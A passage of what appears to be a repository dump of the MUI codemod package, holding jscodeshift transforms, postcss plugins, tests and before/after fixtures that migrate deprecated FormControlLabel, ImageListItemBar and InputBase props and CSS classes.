read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] form-control-label-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false }, packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/form-control-label-props/index.js",
    "content": "export { default } from './form-control-label-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/form-control-label-props/test-cases/actual.js",
    "content": "import FormControlLabel from '@mui/material/FormControlLabel';\n\n<FormControlLabel componentsProps={{ typography: componentsTypographyProps }} />;\n<FormControlLabel\n  slots={{ typography: SlotsTypography }}\n  slotProps={{ typography: slotsTypographyProps }}\n  componentsProps={{ typography: componentsTypographyProps }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/form-control-label-props/test-cases/expected.js",
    "content": "import FormControlLabel from '@mui/material/FormControlLabel';\n\n<FormControlLabel slotProps={{ typography: componentsTypographyProps }} />;\n<FormControlLabel\n  slots={{ typography: SlotsTypography }}\n  slotProps={{ typography: {\n    ...componentsTypographyProps,\n    ...slotsTypographyProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/form-control-label-props/test-cases/package.actual.js",
    "content": "import FormControlLabel from '@org/ui/material/FormControlLabel';\n\n<FormControlLabel componentsProps={{ typography: componentsTypographyProps }} />;\n<FormControlLabel\n  slots={{ typography: SlotsTypography }}\n  slotProps={{ typography: slotsTypographyProps }}\n  componentsProps={{ typography: componentsTypographyProps }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/form-control-label-props/test-cases/package.expected.js",
    "content": "import FormControlLabel from '@org/ui/material/FormControlLabel';\n\n<FormControlLabel slotProps={{ typography: componentsTypographyProps }} />;\n<FormControlLabel\n  slots={{ typography: SlotsTypography }}\n  slotProps={{ typography: {\n    ...componentsTypographyProps,\n    ...slotsTypographyProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/form-control-label-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiFormControlLabel: {\n    defaultProps: {\n      componentsProps: { typography: componentsTypographyProps },\n    },\n  },\n});\n\nfn({\n  MuiFormControlLabel: {\n    defaultProps: {\n      componentsProps: { typography: componentsTypographyProps },\n      slotProps: { typography: slotsTypographyProps },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/form-control-label-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiFormControlLabel: {\n    defaultProps: {\n      slotProps: {\n        typography: componentsTypographyProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiFormControlLabel: {\n    defaultProps: {\n      slotProps: {\n        typography: {\n          ...componentsTypographyProps,\n          ...slotsTypographyProps\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/image-list-item-bar-classes/image-list-item-bar-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/ImageListItemBar)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (\n            specifier.type === 'ImportSpecifier' &&\n            specifier.imported.name === 'imageListItemBarClasses'\n          ) {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiImageListItemBar-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    const atomicClassesArgs = [\n                      memberExpressionIndex,\n                      1,\n                      ...atomicClasses.map((atomicClass) =>\n                        j.memberExpression(\n                          memberExpression.value.object,\n                          j.identifier(atomicClass),\n                        ),\n                      ),\n                    ];\n                    parent.expressions.splice(...atomicClassesArgs);\n\n                    if (replacementSelector.includes(' > ')) {\n                      const quasisArgs = [\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      ];\n\n                      if (atomicClasses.length === 3) {\n                        quasisArgs.splice(\n                          3,\n                          0,\n                          j.templateElement({ raw: '.', cooked: '.' }, false),\n                        );\n                      }\n\n                      parent.quasis.splice(...quasisArgs);\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`${replacementSelectorPrefix}${deprecatedClass}$`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/image-list-item-bar-classes/image-list-item-bar-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './image-list-item-bar-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('image-list-item-bar-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/image-list-item-bar-classes/index.js",
    "content": "export { default } from './image-list-item-bar-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/image-list-item-bar-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiImageListItemBar-titleWrapBelow',\n    replacementSelector: '.MuiImageListItemBar-positionBelow > .MuiImageListItemBar-titleWrap',\n  },\n  {\n    deprecatedClass: ' .MuiImageListItemBar-titleWrapActionPosLeft',\n    replacementSelector: '.MuiImageListItemBar-actionPositionLeft > .MuiImageListItemBar-titleWrap',\n  },\n  {\n    deprecatedClass: ' .MuiImageListItemBar-titleWrapActionPosRight',\n    replacementSelector:\n      '.MuiImageListItemBar-actionPositionRight > .MuiImageListItemBar-titleWrap',\n  },\n  {\n    deprecatedClass: ' .MuiImageListItemBar-actionIconActionPosLeft',\n    replacementSelector:\n      '.MuiImageListItemBar-actionPositionLeft > .MuiImageListItemBar-actionIcon',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated ImageListItemBar classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}$`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/image-list-item-bar-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/image-list-item-bar-classes/test-cases/actual.css",
    "content": ".MuiImageListItemBar-root .MuiImageListItemBar-titleWrapBelow {\n  color: red;\n}\n\n.MuiImageListItemBar-root .MuiImageListItemBar-titleWrapActionPosLeft {\n  color: red;\n}\n\n.MuiImageListItemBar-root .MuiImageListItemBar-titleWrapActionPosRight {\n  color: red;\n}\n\n.MuiImageListItemBar-root .MuiImageListItemBar-actionIconActionPosLeft {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/image-list-item-bar-classes/test-cases/actual.js",
    "content": "import { imageListItemBarClasses } from '@mui/material/ImageListItemBar';\n\n('& .MuiImageListItemBar-titleWrapBelow');\n('& .MuiImageListItemBar-titleWrapActionPosLeft');\n('& .MuiImageListItemBar-titleWrapActionPosRight');\n('& .MuiImageListItemBar-actionIconActionPosLeft');\n\n`& .${imageListItemBarClasses.titleWrapBelow}`;\n`& .${imageListItemBarClasses.titleWrapActionPosLeft}`;\n`& .${imageListItemBarClasses.titleWrapActionPosRight}`;\n`& .${imageListItemBarClasses.actionIconActionPosLeft}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/image-list-item-bar-classes/test-cases/expected.css",
    "content": ".MuiImageListItemBar-root.MuiImageListItemBar-positionBelow > .MuiImageListItemBar-titleWrap {\n  color: red;\n}\n\n.MuiImageListItemBar-root.MuiImageListItemBar-actionPositionLeft > .MuiImageListItemBar-titleWrap {\n  color: red;\n}\n\n.MuiImageListItemBar-root.MuiImageListItemBar-actionPositionRight > .MuiImageListItemBar-titleWrap {\n  color: red;\n}\n\n.MuiImageListItemBar-root.MuiImageListItemBar-actionPositionLeft > .MuiImageListItemBar-actionIcon {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/image-list-item-bar-classes/test-cases/expected.js",
    "content": "import { imageListItemBarClasses } from '@mui/material/ImageListItemBar';\n\n(\"&.MuiImageListItemBar-positionBelow > .MuiImageListItemBar-titleWrap\");\n(\"&.MuiImageListItemBar-actionPositionLeft > .MuiImageListItemBar-titleWrap\");\n(\"&.MuiImageListItemBar-actionPositionRight > .MuiImageListItemBar-titleWrap\");\n(\"&.MuiImageListItemBar-actionPositionLeft > .MuiImageListItemBar-actionIcon\");\n\n`&.${imageListItemBarClasses.positionBelow} > .${imageListItemBarClasses.titleWrap}`;\n`&.${imageListItemBarClasses.actionPositionLeft} > .${imageListItemBarClasses.titleWrap}`;\n`&.${imageListItemBarClasses.actionPositionRight} > .${imageListItemBarClasses.titleWrap}`;\n`&.${imageListItemBarClasses.actionPositionLeft} > .${imageListItemBarClasses.actionIcon}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/image-list-item-bar-classes/test-cases/package.actual.js",
    "content": "import { imageListItemBarClasses } from '@org/ui/material/ImageListItemBar';\n\n('& .MuiImageListItemBar-titleWrapBelow');\n('& .MuiImageListItemBar-titleWrapActionPosLeft');\n('& .MuiImageListItemBar-titleWrapActionPosRight');\n('& .MuiImageListItemBar-actionIconActionPosLeft');\n\n`& .${imageListItemBarClasses.titleWrapBelow}`;\n`& .${imageListItemBarClasses.titleWrapActionPosLeft}`;\n`& .${imageListItemBarClasses.titleWrapActionPosRight}`;\n`& .${imageListItemBarClasses.actionIconActionPosLeft}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/image-list-item-bar-classes/test-cases/package.expected.js",
    "content": "import { imageListItemBarClasses } from '@org/ui/material/ImageListItemBar';\n\n(\"&.MuiImageListItemBar-positionBelow > .MuiImageListItemBar-titleWrap\");\n(\"&.MuiImageListItemBar-actionPositionLeft > .MuiImageListItemBar-titleWrap\");\n(\"&.MuiImageListItemBar-actionPositionRight > .MuiImageListItemBar-titleWrap\");\n(\"&.MuiImageListItemBar-actionPositionLeft > .MuiImageListItemBar-actionIcon\");\n\n`&.${imageListItemBarClasses.positionBelow} > .${imageListItemBarClasses.titleWrap}`;\n`&.${imageListItemBarClasses.actionPositionLeft} > .${imageListItemBarClasses.titleWrap}`;\n`&.${imageListItemBarClasses.actionPositionRight} > .${imageListItemBarClasses.titleWrap}`;\n`&.${imageListItemBarClasses.actionPositionLeft} > .${imageListItemBarClasses.actionIcon}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-classes/index.js",
    "content": "export { default } from './input-base-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-classes/input-base-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/InputBase)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (\n            specifier.type === 'ImportSpecifier' &&\n            specifier.imported.name === 'inputBaseClasses'\n          ) {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiInputBase-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    parent.expressions.splice(\n                      memberExpressionIndex,\n                      1,\n                      j.memberExpression(\n                        memberExpression.value.object,\n                        j.identifier(atomicClasses[0]),\n                      ),\n\n                      j.memberExpression(\n                        memberExpression.value.object,\n                        j.identifier(atomicClasses[1]),\n                      ),\n                    );\n\n                    if (replacementSelector.includes(' > ')) {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      );\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`^${replacementSelectorPrefix}${deprecatedClass}`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-classes/input-base-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './input-base-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('input-base-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiInputBase-inputSizeSmall',\n    replacementSelector: '.MuiInputBase-sizeSmall > .MuiInputBase-input',\n  },\n  {\n    deprecatedClass: ' .MuiInputBase-inputMultiline',\n    replacementSelector: '.MuiInputBase-multiline > .MuiInputBase-input',\n  },\n  {\n    deprecatedClass: ' .MuiInputBase-inputAdornedStart',\n    replacementSelector: '.MuiInputBase-adornedStart > .MuiInputBase-input',\n  },\n  {\n    deprecatedClass: ' .MuiInputBase-inputAdornedEnd',\n    replacementSelector: '.MuiInputBase-adornedEnd > .MuiInputBase-input',\n  },\n  {\n    deprecatedClass: ' .MuiInputBase-inputHiddenLabel',\n    replacementSelector: '.MuiInputBase-hiddenLabel > .MuiInputBase-input',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated InputBase classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-classes/test-cases/actual.css",
    "content": ".MuiInputBase-root .MuiInputBase-inputSizeSmall {\n  color: red;\n}\n\n.MuiInputBase-root .MuiInputBase-inputMultiline {\n  color: red;\n}\n\n.MuiInputBase-root .MuiInputBase-inputAdornedStart {\n  color: red;\n}\n\n.MuiInputBase-root .MuiInputBase-inputAdornedEnd {\n  color: red;\n}\n\n.MuiInputBase-root .MuiInputBase-inputHiddenLabel {\n  color: red;\n}\n\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-classes/test-cases/actual.js",
    "content": "import { inputBaseClasses } from '@mui/material/InputBase';\n\n('& .MuiInputBase-inputHiddenLabel');\n('& .MuiInputBase-inputMultiline');\n('& .MuiInputBase-inputAdornedStart');\n('& .MuiInputBase-inputAdornedEnd');\n('& .MuiInputBase-inputSizeSmall');\n\n`& .${inputBaseClasses.inputHiddenLabel}`;\n`& .${inputBaseClasses.inputMultiline}`;\n`& .${inputBaseClasses.inputAdornedStart}`;\n`& .${inputBaseClasses.inputAdornedEnd}`;\n`& .${inputBaseClasses.inputSizeSmall}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-classes/test-cases/expected.css",
    "content": ".MuiInputBase-root.MuiInputBase-sizeSmall > .MuiInputBase-input {\n  color: red;\n}\n\n.MuiInputBase-root.MuiInputBase-multiline > .MuiInputBase-input {\n  color: red;\n}\n\n.MuiInputBase-root.MuiInputBase-adornedStart > .MuiInputBase-input {\n  color: red;\n}\n\n.MuiInputBase-root.MuiInputBase-adornedEnd > .MuiInputBase-input {\n  color: red;\n}\n\n.MuiInputBase-root.MuiInputBase-hiddenLabel > .MuiInputBase-input {\n  color: red;\n}\n\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-classes/test-cases/expected.js",
    "content": "import { inputBaseClasses } from '@mui/material/InputBase';\n\n(\"&.MuiInputBase-hiddenLabel > .MuiInputBase-input\");\n(\"&.MuiInputBase-multiline > .MuiInputBase-input\");\n(\"&.MuiInputBase-adornedStart > .MuiInputBase-input\");\n(\"&.MuiInputBase-adornedEnd > .MuiInputBase-input\");\n(\"&.MuiInputBase-sizeSmall > .MuiInputBase-input\");\n\n`&.${inputBaseClasses.hiddenLabel} > .${inputBaseClasses.input}`;\n`&.${inputBaseClasses.multiline} > .${inputBaseClasses.input}`;\n`&.${inputBaseClasses.adornedStart} > .${inputBaseClasses.input}`;\n`&.${inputBaseClasses.adornedEnd} > .${inputBaseClasses.input}`;\n`&.${inputBaseClasses.sizeSmall} > .${inputBaseClasses.input}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-classes/test-cases/package.actual.js",
    "content": "import { inputBaseClasses } from '@org/ui/material/InputBase';\n\n('& .MuiInputBase-inputHiddenLabel');\n('& .MuiInputBase-inputMultiline');\n('& .MuiInputBase-inputAdornedStart');\n('& .MuiInputBase-inputAdornedEnd');\n('& .MuiInputBase-inputSizeSmall');\n\n`& .${inputBaseClasses.inputHiddenLabel}`;\n`& .${inputBaseClasses.inputMultiline}`;\n`& .${inputBaseClasses.inputAdornedStart}`;\n`& .${inputBaseClasses.inputAdornedEnd}`;\n`& .${inputBaseClasses.inputSizeSmall}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-classes/test-cases/package.expected.js",
    "content": "import { inputBaseClasses } from '@org/ui/material/InputBase';\n\n(\"&.MuiInputBase-hiddenLabel > .MuiInputBase-input\");\n(\"&.MuiInputBase-multiline > .MuiInputBase-input\");\n(\"&.MuiInputBase-adornedStart > .MuiInputBase-input\");\n(\"&.MuiInputBase-adornedEnd > .MuiInputBase-input\");\n(\"&.MuiInputBase-sizeSmall > .MuiInputBase-input\");\n\n`&.${inputBaseClasses.hiddenLabel} > .${inputBaseClasses.input}`;\n`&.${inputBaseClasses.multiline} > .${inputBaseClasses.input}`;\n`&.${inputBaseClasses.adornedStart} > .${inputBaseClasses.input}`;\n`&.${inputBaseClasses.adornedEnd} > .${inputBaseClasses.input}`;\n`&.${inputBaseClasses.sizeSmall} > .${inputBaseClasses.input}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-props/index.js",
    "content": "export { default } from './input-base-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-props/input-base-props.js",
    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'InputBase',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-props/input-base-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './input-base-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'input-base-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/input-base-props/test-cases/actual.js",
